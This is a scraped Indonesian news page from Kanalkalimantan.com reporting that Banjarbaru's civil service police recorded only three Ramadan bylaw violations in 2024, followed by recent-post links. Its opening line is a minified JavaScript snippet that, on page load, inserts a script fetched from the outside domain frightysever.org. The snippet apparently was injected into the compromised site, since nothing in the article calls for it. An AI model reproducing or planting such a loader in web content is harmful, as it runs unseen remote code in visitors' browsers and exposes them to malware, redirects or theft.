(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Satpol PP Banjarbaru Klaim Pelanggar Perda Ramadan Tahun ini Turun


KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru mencatat warga yang melanggar Peraturan Daerah (Perda) Ramadan pada tahun 2024 berkurang dari tahun sebelumnya.

Kasatpol PP Hidayaturahman mengungkapkan, berdasarkan data selama bulan Ramadan 1445 Hijriyah yang melanggar Perda ada tiga.

“Selama Ramadan tahun ini Alhamdulillah lebih bagus dari tahun kemarin, untuk jumlah pelanggaran Perda Ramadah tahun ini sangat minim meski tetap kita temukan tiga yang melanggar,” ungkap Kasatpol PP Kota Banjarbaru, Hidayaturahman kepada Kanalkalimantan.com.

Dia merincikan, tiga Perda yang dilanggar adalah terkait jam operasional rumah makan yang buka di siang hari pada bulan Ramadan.

Baca juga: Sehari 87 Penerbangan, Bandara Syamsudin Noor Catat 12.144 Penumpang 

“Salah satunya warung makan yang buka siang hari di perbatasan kota kawasan Sungai Ulin kita tindaklanjuti,” sebut dia.

Dayat yakin warga semakin patuh dengan Perda Ramadan di tahun ini. Menurutnya juga tingkat dan kesadaran terhadap aturan lebih bagus, efek dari sanksi yang pernah diterapkan pada Ramadan sebelumnya.

Jika warga beberapa kali melanggar Perda Ramadan, tindakan tegas dilakukan Satpol PP Kota Banjarbaru berupa pemberian sanksi dan peringatan hingga diwajibkan untuk membuat pernyataan agar tidak lagi mengulangi tindakan pelanggaran.

“Terakhir kita evaluasi mereka para pelaku usaha setelah membuat pernyataan itu, jadi tahun ini lebih bagus dibanding tahun kemarin,” jelasnya.

Baca juga: Ditelpon Tak Merespon, MA Didapati Tak Bernyawa Dalam Kamar Kontrakan

Di samping itu nihil adanya pelanggaran perda lainnya, dan petugas juga turut memberikan imbauan agar mengikuti ketentuan kepada penyelenggara hiburan musik yang buka saat tengah malam di Kota Banjarbaru.

“Termasuk Taman Hiburan Malam (THM) semua sudah kita beri surat edaran dan mereka mengikuti ketentuan. Di samping itu kita juga melakukn keegiatan patroli memonitoring ketaatan pelaku usaha,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

54 menit ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

4 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

4 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

8 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

9 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

10 jam ago

This website uses cookies.